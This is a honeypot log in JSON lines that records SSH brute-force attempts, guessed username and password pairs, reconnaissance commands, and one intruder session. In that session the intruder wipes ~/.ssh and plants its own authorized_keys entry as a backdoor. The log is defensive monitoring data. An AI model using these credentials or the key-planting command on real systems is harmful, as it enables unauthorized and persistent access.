{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:52.009145Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:52.250266Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:52.253610Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:52.356505Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:52.597134Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:52.600838Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:52.702993Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:52.951350Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:52.955168Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:53.058478Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:53.310334Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:53.313877Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:53.418605Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.4","message":"Connection lost after 10.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:53.423653Z","src_ip":"170.79.37.88","session":"114df3197964","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.54.62.66","src_port":65379,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3247230d8a5","protocol":"ssh","message":"New connection: 177.54.62.66:65379 (10.17.0.5:22) [session: e3247230d8a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:59.456449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:59.460969Z","src_ip":"177.54.62.66","session":"e3247230d8a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:52:59.592049Z","src_ip":"177.54.62.66","session":"e3247230d8a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234567890","message":"login attempt [user/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:53:00.146294Z","src_ip":"177.54.62.66","session":"e3247230d8a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43742,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9ad8d48724b","protocol":"ssh","message":"New connection: 159.203.92.129:43742 (159.203.135.109:22) [session: d9ad8d48724b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:53:00.933758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:53:00.938689Z","src_ip":"159.203.92.129","session":"d9ad8d48724b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:53:00.947211Z","src_ip":"159.203.92.129","session":"d9ad8d48724b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Soyoun","password":"korea2011","message":"login attempt [Soyoun/korea2011] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:53:00.959191Z","src_ip":"159.203.92.129","session":"d9ad8d48724b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:53:01.282157Z","src_ip":"177.54.62.66","session":"e3247230d8a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:53:01.969670Z","src_ip":"159.203.92.129","session":"d9ad8d48724b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00196504592896,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:53:24.301775Z","src_ip":"191.9.35.16","session":"66b18a9985af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.37.88","src_port":49260,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e7a546e4c03","protocol":"ssh","message":"New connection: 170.79.37.88:49260 (159.203.135.109:22) [session: 7e7a546e4c03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:53:29.323654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:53:29.327667Z","src_ip":"170.79.37.88","session":"7e7a546e4c03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:53:29.431356Z","src_ip":"170.79.37.88","session":"7e7a546e4c03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"newpass","message":"login attempt [testuser/newpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:53:29.882650Z","src_ip":"170.79.37.88","session":"7e7a546e4c03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:53:30.994172Z","src_ip":"170.79.37.88","session":"7e7a546e4c03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46676,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf2c122afa6b","protocol":"ssh","message":"New connection: 159.203.92.129:46676 (159.203.135.109:22) [session: cf2c122afa6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:53:45.837630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:53:45.845877Z","src_ip":"159.203.92.129","session":"cf2c122afa6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:53:45.862733Z","src_ip":"159.203.92.129","session":"cf2c122afa6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Soyoun","password":"korea2012","message":"login attempt [Soyoun/korea2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:53:45.886651Z","src_ip":"159.203.92.129","session":"cf2c122afa6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:53:46.893912Z","src_ip":"159.203.92.129","session":"cf2c122afa6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.54.62.66","src_port":61823,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ade2f21fbc4","protocol":"ssh","message":"New connection: 177.54.62.66:61823 (10.17.0.5:22) [session: 6ade2f21fbc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:07.245931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:07.251078Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:07.382550Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"superadmin","message":"login attempt [admin/superadmin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:07.938036Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:08.246399Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:08.249645Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:08.253284Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:08.388085Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:08.684365Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:08.687453Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:08.821588Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
